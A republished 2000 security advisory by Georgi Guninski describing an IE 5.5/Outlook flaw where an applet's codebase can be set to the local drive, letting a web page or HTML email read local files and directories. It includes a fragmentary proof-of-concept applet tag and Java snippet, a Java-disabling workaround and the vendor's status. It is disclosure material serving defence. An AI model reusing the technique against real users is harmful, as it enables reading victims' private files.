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Home : Advisories : IE 5.5/Outlook java security vulnerability

Title: IE 5.5/Outlook java security vulnerability
Released by: Georgi Guninski
Date: 18th October 2000
Printable version: Click here
Georgi Guninski security advisory #24, 2000

IE 5.5/Outlook java security vulnerability - reading arbitrary local

files and URLs

Systems affected:

IE 5.5/Outlook/Outlook Express - probably other versions, have not


Risk: High

Date: 18 October 2000

Legal Notice:

This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute

it unmodified. You may not modify it and distribute it or distribute

parts of it without the author's written permission.


The opinions expressed in this advisory and program are my own and not

of any company.

The usual standard disclaimer applies, especially the fact that Georgi


is not liable for any damages caused by direct or  indirect use of the

information or functionality provided by this advisory or program.

Georgi Guninski, bears no responsibility for content or misuse of this

advisory or program or any derivatives thereof.


There is a security vulnerability in IE 5.5/Outlook/Outlook Express

which allows

reading local files, arbitrary URLs and local directory structure after

viewing a

web page or reading HTML message.


The problem is the possibility for specifying arbitrary codebase for an


loaded from  tag and a jar file. Applets may read URLs from

their codebase and communicate

with hosts from the codebase.

The following code:

" target="_new">http://www.guninski.com/gjavacodebase.jar">

sets the applet's codebase to file:///c:/

This is not Java language problem and I suppose not a problem in

Microsoft's VM

but a problem in the way codebase is set by IE.

If someone knows if this vulnerability allows writing to files or

executing programs

please let me know.

The code is:


" target="_new">http://www.guninski.com/gjavacodebase.jar">






      u = new URL(getParameter("URL"));

      InputStream is=u.openStream();

      byte ba[]=new byte[1000];

      int l=is.read(ba);

      InputStream os=u.openConnection().getInputStream();

      String s1=new String(ba,0,l);







Disable Java

Demonstration is available at:


Vendor status:

Microsoft was contacted on morning of 14 October and is working on a fix

for this vulnerability,

I don't know when a patch shall be released.


Georgi Guninski


(C) 1999-2000 All rights reserved.